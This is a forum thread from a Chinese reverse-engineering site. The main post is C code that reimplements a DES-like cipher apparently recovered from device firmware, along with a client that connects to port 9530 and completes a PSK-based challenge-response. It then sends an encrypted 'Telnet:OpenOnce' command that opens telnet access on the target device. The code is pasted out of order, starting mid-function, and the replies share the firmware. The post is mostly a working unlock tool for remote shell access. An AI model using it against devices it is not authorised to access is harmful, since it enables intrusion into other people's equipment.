  apply_cipher_offset_vector(state + 0x130,state + 0x130,datum + 0x250,0x40);
  if (direction == 0) {
    forward_ov_ptr = offset_vector + 0x300;
    do {
      memcpy(state + 0x170,state + 0x150,0x20);
      cipher_shuffle(state + 0x150,offset_vector);
      cipher_xor(state + 0x150,state + 0x130,0x20);
      memcpy(state + 0x130, state + 0x170, 0x20);
      offset_vector = offset_vector + 0x30;
    } while (offset_vector != forward_ov_ptr);
  }
  else {
    backward_ov_ptr = offset_vector + 0x2d0;
    do {
      memcpy(state + 0x170,state + 0x130,0x20);
      cipher_shuffle(state + 0x130,backward_ov_ptr);
      cipher_xor(state + 0x130,state + 0x150,0x20);
      backward_ov_ptr -= 0x30;
      memcpy(state + 0x150,state + 0x170,0x20);
    } while (backward_ov_ptr != offset_vector + -0x30);
  }
  apply_cipher_offset_vector(state + 0x130,state + 0x130,datum + 0x294,0x40);
  memset(result,0,8);
  i = 0;
  do {
    result[i >> 3] = result[i >> 3] | *(char *)(state + 0x130 + i) << (i & 7);
    i = i + 1;
  } while (i != 0x40);
  return;
}
 
int decrypt(char *result,char *data,uint data_len,char *key,uint key_len)
 
{
  uint short_key_iter;
  int curBlockNumber;
  int blockCount;
 
  if (((result != (char *)0x0 && data != (char *)0x0) && (curBlockNumber = 0, key != (char *)0x0))
     && ((data_len + 7 & 0xfffffff8) != 0)) {
    prepare_key(key,key_len);
    blockCount = (int)(data_len + 7) >> 3;
    short_key_iter = *(state + 0x7e0);
    if (*(state + 0x7e0) == 0) {
      while ((int)short_key_iter < blockCount) {
        cipher_box((byte *)result,(byte *)data,state + 0x1e0,1);
        short_key_iter = short_key_iter + 1;
        result = (char *)((byte *)result + 8);
        data = (char *)((byte *)data + 8);
      }
    }
    else {
      while (curBlockNumber < blockCount) {
        cipher_box((byte *)result,(byte *)data,state + 0x1e0,1);
        cipher_box((byte *)result,(byte *)result,state + 0x4e0,0);
        cipher_box((byte *)result,(byte *)result,state + 0x1e0,1);
        curBlockNumber = curBlockNumber + 1;
        result = (char *)((byte *)result + 8);
        data = (char *)((byte *)data + 8);
      }
    }
    return 0;
  }
  return -1;
}
 
int encrypt(char *result,char *data,uint data_len,char *key,uint key_size)
 
{
  uint uVar2;
  int currentBlockNumber;
  int blocksCount;
   
  if (((result != (char *)0x0 && data != (char *)0x0) &&
      (currentBlockNumber = 0, key != (char *)0x0)) && ((data_len + 7 & 0xfffffff8) != 0)) {
    prepare_key(key,key_size);
    blocksCount = (int)(data_len + 7) >> 3;
    uVar2 = *(state + 0x7e0);
    if (*(state + 0x7e0) == 0) {
      while ((int)uVar2 < blocksCount) {
        cipher_box((byte *)result,(byte *)data,state + 0x1e0,0);
        uVar2 = uVar2 + 1;
        result = (char *)((byte *)result + 8);
        data = (char *)((byte *)data + 8);
      }
    }
    else {
      while (currentBlockNumber < blocksCount) {
        cipher_box((byte *)result,(byte *)data,state + 0x1e0,0);
        cipher_box((byte *)result,(byte *)result,state + 0x4e0,1);
        cipher_box((byte *)result,(byte *)result,state + 0x1e0,0);
        currentBlockNumber = currentBlockNumber + 1;
        result = (char *)((byte *)result + 8);
        data = (char *)((byte *)data + 8);
      }
    }
    return 0;
  }
  return -1;
}
 
void tohex(unsigned char * in, size_t insz, char * out, size_t outsz)
{
    unsigned char * pin = in;
    const char * hex = "0123456789ABCDEF";
    char * pout = out;
    for(; pin < in+insz; pout +=3, pin++){
        pout[0] = hex[(*pin>>4) & 0xF];
        pout[1] = hex[ *pin     & 0xF];
        pout[2] = ':';
        if (pout + 3 - out > outsz){
            /* Better to truncate output string than overflow buffer */
            /* it would be still better to either return a status */
            /* or ensure the target buffer is large enough and it never happen */
            break;
        }
    }
    pout[-1] = 0;
}
 
char netbuf[4096];
 
#define PADDED(X) (((X + 7) / 8) * 8)
#define PORT 9530
#define BUFSIZE sizeof(netbuf)
#define CMD_FIRST "OpenTelnet:OpenOnce"
#define CHALLENGE_PROLOGUE "randNum:"
#define VERIFY_OK "verify:OK"
#define CMD_FINAL "CMD:"
#define FINAL_PAYLOAD "Telnet:OpenOnce"
#define OPEN_OK "Open:OK"
 
ssize_t send_str(int sockfd, char *str, size_t len) {
    if (len > 0xFE) {
        return -1;
    }
    char buf[len+1];
    buf[0] = len + 1;
    memcpy(buf + 1, str, len);
    return send(sockfd, buf, len + 1, 0);
}
 
int main(int argc, char* argv[]) {
    int sockfd, numbytes;
    struct hostent *he;
    struct sockaddr_in their_addr;
 
    if (argc != 3) {
        fprintf(stderr, "Usage: %s <host> <PSK>\n", argv[0]);
        return 2;
    }
 
    if ((he=gethostbyname(argv[1])) == NULL) {  /* get the host info */
        herror("gethostbyname");
        return 1;
    }
 
    if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
        perror("socket");
        return 1;
    }
 
    their_addr.sin_family = AF_INET;      /* host byte order */
    their_addr.sin_port = htons(PORT);    /* short, network byte order */
    their_addr.sin_addr = *((struct in_addr *)he->h_addr);
    bzero(&(their_addr.sin_zero), 8);     /* zero the rest of the struct */
 
    if (connect(sockfd, (struct sockaddr *)&their_addr, \
                                              sizeof(struct sockaddr)) == -1) {
        perror("connect");
        return 1;
    }
    if (send_str(sockfd, CMD_FIRST, sizeof(CMD_FIRST)) == -1) {
        perror("send");
        return 1;
    }
    printf("Sent %s command.\n", CMD_FIRST);
    bzero(netbuf, BUFSIZE);
    if ((numbytes=recv(sockfd, netbuf, BUFSIZE - 1, 0)) == -1) {
        perror("recv");
        return 1;
    }
    puts(netbuf);
    if (memcmp(netbuf, CHALLENGE_PROLOGUE, sizeof(CHALLENGE_PROLOGUE) - 1) != 0) {
        fprintf(stderr, "No challenge received.\n");
        return 3;
    }
 
    char *seed = netbuf + sizeof(CHALLENGE_PROLOGUE) - 1;
    char challengeStr[strlen(seed) + strlen(argv[2]) + 1];
    size_t challengeLen = sprintf(challengeStr, "%s%s", seed, argv[2]);
    printf("challenge=%s\n", challengeStr);
 
    char encryptedRandomSeed[PADDED(challengeLen)];
    encrypt(encryptedRandomSeed, seed, strlen(seed), challengeStr, challengeLen);
    memcpy(netbuf, CHALLENGE_PROLOGUE, sizeof(CHALLENGE_PROLOGUE) - 1);
    memcpy(netbuf + sizeof(CHALLENGE_PROLOGUE) - 1, encryptedRandomSeed, PADDED(challengeLen));
    if (send_str(sockfd, netbuf, sizeof(CHALLENGE_PROLOGUE) - 1 + PADDED(challengeLen)) == -1) {
        perror("send");
        return 1;
    }
    bzero(netbuf, BUFSIZE);
    if ((numbytes=recv(sockfd, netbuf, BUFSIZE - 1, 0)) == -1) {
        perror("recv");
        return 1;
    }
    puts(netbuf);
    if (memcmp(netbuf, VERIFY_OK, sizeof(VERIFY_OK) - 1) != 0) {
        fprintf(stderr, "Verification failed.\n");
        return 4;
    }
    char encryptedFinal[PADDED(sizeof(FINAL_PAYLOAD))];
    encrypt(encryptedFinal, FINAL_PAYLOAD, sizeof(FINAL_PAYLOAD), challengeStr, challengeLen);
    memcpy(netbuf, CMD_FINAL, sizeof(CMD_FINAL) - 1);
    memcpy(netbuf + sizeof(CMD_FINAL) - 1, encryptedFinal, sizeof(encryptedFinal));
    if (send_str(sockfd, netbuf, sizeof(CMD_FINAL) - 1 + sizeof(encryptedFinal)) == -1) {
        perror("send");
        return 1;
    }
    bzero(netbuf, BUFSIZE);
    if ((numbytes=recv(sockfd, netbuf, BUFSIZE - 1, 0)) == -1) {
        perror("recv");
        return 1;
    }
    puts(netbuf);
    if (memcmp(netbuf, OPEN_OK, sizeof(OPEN_OK) - 1)) {
        fprintf(stderr, "Open failed.\n");
        return 5;
    }
     
    return 0;
}
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <unistd.h>
 
typedef unsigned char byte;
typedef unsigned int uint;
 
byte state[2048] = {0};
byte datum[] = {
    0x20, 0x01, 0x02, 0x03, 0x04, 0x05, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09,
    0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0c, 0x0d, 0x0e, 0x0f, 0x10, 0x11,
    0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19,
    0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1c, 0x1d, 0x1e, 0x1f, 0x20, 0x01,
    0x0e, 0x04, 0x0d, 0x01, 0x02, 0x0f, 0x0b, 0x08, 0x03, 0x0a, 0x06, 0x0c,
    0x05, 0x09, 0x00, 0x07, 0x00, 0x0f, 0x07, 0x04, 0x0e, 0x02, 0x0d, 0x01,
    0x0a, 0x06, 0x0c, 0x0b, 0x09, 0x05, 0x03, 0x08, 0x04, 0x01, 0x0e, 0x08,
    0x0d, 0x06, 0x02, 0x0b, 0x0f, 0x0c, 0x09, 0x07, 0x03, 0x0a, 0x05, 0x00,
    0x0f, 0x0c, 0x08, 0x02, 0x04, 0x09, 0x01, 0x07, 0x05, 0x0b, 0x03, 0x0e,
    0x0a, 0x00, 0x06, 0x0d, 0x0f, 0x01, 0x08, 0x0e, 0x06, 0x0b, 0x03, 0x04,
    0x09, 0x07, 0x02, 0x0d, 0x0c, 0x00, 0x05, 0x0a, 0x03, 0x0d, 0x04, 0x07,
    0x0f, 0x02, 0x08, 0x0e, 0x0c, 0x00, 0x01, 0x0a, 0x06, 0x09, 0x0b, 0x05,
    0x00, 0x0e, 0x07, 0x0b, 0x0a, 0x04, 0x0d, 0x01, 0x05, 0x08, 0x0c, 0x06,
    0x09, 0x03, 0x02, 0x0f, 0x0d, 0x08, 0x0a, 0x01, 0x03, 0x0f, 0x04, 0x02,
    0x0b, 0x06, 0x07, 0x0c, 0x00, 0x05, 0x0e, 0x09, 0x0a, 0x00, 0x09, 0x0e,
    0x06, 0x03, 0x0f, 0x05, 0x01, 0x0d, 0x0c, 0x07, 0x0b, 0x04, 0x02, 0x08,
    0x0d, 0x07, 0x00, 0x09, 0x03, 0x04, 0x06, 0x0a, 0x02, 0x08, 0x05, 0x0e,
    0x0c, 0x0b, 0x0f, 0x01, 0x0d, 0x06, 0x04, 0x09, 0x08, 0x0f, 0x03, 0x00,
    0x0b, 0x01, 0x02, 0x0c, 0x05, 0x0a, 0x0e, 0x07, 0x01, 0x0a, 0x0d, 0x00,
    0x06, 0x09, 0x08, 0x07, 0x04, 0x0f, 0x0e, 0x03, 0x0b, 0x05, 0x02, 0x0c,
    0x07, 0x0d, 0x0e, 0x03, 0x00, 0x06, 0x09, 0x0a, 0x01, 0x02, 0x08, 0x05,
    0x0b, 0x0c, 0x04, 0x0f, 0x0d, 0x08, 0x0b, 0x05, 0x06, 0x0f, 0x00, 0x03,
    0x04, 0x07, 0x02, 0x0c, 0x01, 0x0a, 0x0e, 0x09, 0x0a, 0x06, 0x09, 0x00,
    0x0c, 0x0b, 0x07, 0x0d, 0x0f, 0x01, 0x03, 0x0e, 0x05, 0x02, 0x08, 0x04,
    0x03, 0x0f, 0x00, 0x06, 0x0a, 0x01, 0x0d, 0x08, 0x09, 0x04, 0x05, 0x0b,
    0x0c, 0x07, 0x02, 0x0e, 0x02, 0x0c, 0x04, 0x01, 0x07, 0x0a, 0x0b, 0x06,
    0x08, 0x05, 0x03, 0x0f, 0x0d, 0x00, 0x0e, 0x09, 0x0e, 0x0b, 0x02, 0x0c,
    0x04, 0x07, 0x0d, 0x01, 0x05, 0x00, 0x0f, 0x0a, 0x03, 0x09, 0x08, 0x06,
    0x04, 0x02, 0x01, 0x0b, 0x0a, 0x0d, 0x07, 0x08, 0x0f, 0x09, 0x0c, 0x05,
    0x06, 0x03, 0x00, 0x0e, 0x0b, 0x08, 0x0c, 0x07, 0x01, 0x0e, 0x02, 0x0d,
    0x06, 0x0f, 0x00, 0x09, 0x0a, 0x04, 0x05, 0x03, 0x0c, 0x01, 0x0a, 0x0f,
    0x09, 0x02, 0x06, 0x08, 0x00, 0x0d, 0x03, 0x04, 0x0e, 0x07, 0x05, 0x0b,
    0x0a, 0x0f, 0x04, 0x02, 0x07, 0x0c, 0x09, 0x05, 0x06, 0x01, 0x0d, 0x0e,
    0x00, 0x0b, 0x03, 0x08, 0x09, 0x0e, 0x0f, 0x05, 0x02, 0x08, 0x0c, 0x03,
    0x07, 0x00, 0x04, 0x0a, 0x01, 0x0d, 0x0b, 0x06, 0x04, 0x03, 0x02, 0x0c,
    0x09, 0x05, 0x0f, 0x0a, 0x0b, 0x0e, 0x01, 0x07, 0x06, 0x00, 0x08, 0x0d,
    0x04, 0x0b, 0x02, 0x0e, 0x0f, 0x00, 0x08, 0x0d, 0x03, 0x0c, 0x09, 0x07,
    0x05, 0x0a, 0x06, 0x01, 0x0d, 0x00, 0x0b, 0x07, 0x04, 0x09, 0x01, 0x0a,
    0x0e, 0x03, 0x05, 0x0c, 0x02, 0x0f, 0x08, 0x06, 0x01, 0x04, 0x0b, 0x0d,
    0x0c, 0x03, 0x07, 0x0e, 0x0a, 0x0f, 0x06, 0x08, 0x00, 0x05, 0x09, 0x02,
    0x06, 0x0b, 0x0d, 0x08, 0x01, 0x04, 0x0a, 0x07, 0x09, 0x05, 0x00, 0x0f,
    0x0e, 0x02, 0x03, 0x0c, 0x0d, 0x02, 0x08, 0x04, 0x06, 0x0f, 0x0b, 0x01,
    0x0a, 0x09, 0x03, 0x0e, 0x05, 0x00, 0x0c, 0x07, 0x01, 0x0f, 0x0d, 0x08,
    0x0a, 0x03, 0x07, 0x04, 0x0c, 0x05, 0x06, 0x0b, 0x00, 0x0e, 0x09, 0x02,
    0x07, 0x0b, 0x04, 0x01, 0x09, 0x0c, 0x0e, 0x02, 0x00, 0x06, 0x0a, 0x0d,
    0x0f, 0x03, 0x05, 0x08, 0x02, 0x01, 0x0e, 0x07, 0x04, 0x0a, 0x08, 0x0d,
    0x0f, 0x0c, 0x09, 0x00, 0x03, 0x05, 0x06, 0x0b, 0x10, 0x07, 0x14, 0x15,
    0x1d, 0x0c, 0x1c, 0x11, 0x01, 0x0f, 0x17, 0x1a, 0x05, 0x12, 0x1f, 0x0a,
    0x02, 0x08, 0x18, 0x0e, 0x20, 0x1b, 0x03, 0x09, 0x13, 0x0d, 0x1e, 0x06,
    0x16, 0x0b, 0x04, 0x19, 0x3a, 0x32, 0x2a, 0x22, 0x1a, 0x12, 0x0a, 0x02,
    0x3c, 0x34, 0x2c, 0x24, 0x1c, 0x14, 0x0c, 0x04, 0x3e, 0x36, 0x2e, 0x26,
    0x1e, 0x16, 0x0e, 0x06, 0x40, 0x38, 0x30, 0x28, 0x20, 0x18, 0x10, 0x08,
    0x39, 0x31, 0x29, 0x21, 0x19, 0x11, 0x09, 0x01, 0x3b, 0x33, 0x2b, 0x23,
    0x1b, 0x13, 0x0b, 0x03, 0x3d, 0x35, 0x2d, 0x25, 0x1d, 0x15, 0x0d, 0x05,
    0x3f, 0x37, 0x2f, 0x27, 0x1f, 0x17, 0x0f, 0x07, 0xf4, 0x63, 0x01, 0x00,
    0x28, 0x08, 0x30, 0x10, 0x38, 0x18, 0x40, 0x20, 0x27, 0x07, 0x2f, 0x0f,
    0x37, 0x17, 0x3f, 0x1f, 0x26, 0x06, 0x2e, 0x0e, 0x36, 0x16, 0x3e, 0x1e,
    0x25, 0x05, 0x2d, 0x0d, 0x35, 0x15, 0x3d, 0x1d, 0x24, 0x04, 0x2c, 0x0c,
    0x34, 0x14, 0x3c, 0x1c, 0x23, 0x03, 0x2b, 0x0b, 0x33, 0x13, 0x3b, 0x1b,
    0x22, 0x02, 0x2a, 0x0a, 0x32, 0x12, 0x3a, 0x1a, 0x21, 0x01, 0x29, 0x09,
    0x31, 0x11, 0x39, 0x19, 0x39, 0x31, 0x29, 0x21, 0x19, 0x11, 0x09, 0x01,
    0x3a, 0x32, 0x2a, 0x22, 0x1a, 0x12, 0x0a, 0x02, 0x3b, 0x33, 0x2b, 0x23,
    0x1b, 0x13, 0x0b, 0x03, 0x3c, 0x34, 0x2c, 0x24, 0x3f, 0x37, 0x2f, 0x27,
    0x1f, 0x17, 0x0f, 0x07, 0x3e, 0x36, 0x2e, 0x26, 0x1e, 0x16, 0x0e, 0x06,
    0x3d, 0x35, 0x2d, 0x25, 0x1d, 0x15, 0x0d, 0x05, 0x1c, 0x14, 0x0c, 0x04,
    0x50, 0x64, 0x01, 0x00, 0x01, 0x01, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02,
    0x01, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x01, 0x0e, 0x11, 0x0b, 0x18,
    0x01, 0x05, 0x03, 0x1c, 0x0f, 0x06, 0x15, 0x0a, 0x17, 0x13, 0x0c, 0x04,
    0x1a, 0x08, 0x10, 0x07, 0x1b, 0x14, 0x0d, 0x02, 0x29, 0x34, 0x1f, 0x25,
    0x2f, 0x37, 0x1e, 0x28, 0x33, 0x2d, 0x21, 0x30, 0x2c, 0x31, 0x27, 0x38,
    0x22, 0x35, 0x2e, 0x2a, 0x32, 0x24, 0x1d, 0x20
};
 
void init_cipher_offset_vector(byte *dst,byte *src,int size)
 
{
  int i;
   
  i = 0;
  while (i < size) {
    dst[i] = (byte)((int)(uint)src[i >> 3] >> (i & 7U)) & 1;
    i = i + 1;
  }
  return;
}
 
void apply_cipher_offset_vector(byte *dst,byte *src,byte *offset_vector,size_t size)
 
{
  int i;
   
  i = 0;
  while (i < (int)size) {
    state[i] = src[(uint)offset_vector[i] - 1];
    i = i + 1;
  }
  memcpy(dst,state,size);
  return;
}
 
void cipher_memcpy_shuffle(void *dst,size_t size)
 

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2023-8-8 09:40 被愿风载尘编辑 ,原因: 上传附件并且添加代码
收藏
免费 3
支持
分享
最新回复 (4)
雪    币: 387
活跃值: (2657)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
图挂了
2023-8-8 08:35
0
雪    币: 3059
活跃值: (30876)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
感谢分享
2023-8-8 09:28
1
雪    币: 5459
活跃值: (2507)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
大佬,能不能提供一下固件下载?多谢!
2023-8-8 10:07
0
雪    币: 1605
活跃值: (1601)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
5

分析的固件

上传的附件:
2023-8-8 14:47
1
游客
登录 | 注册 方可回帖
返回
//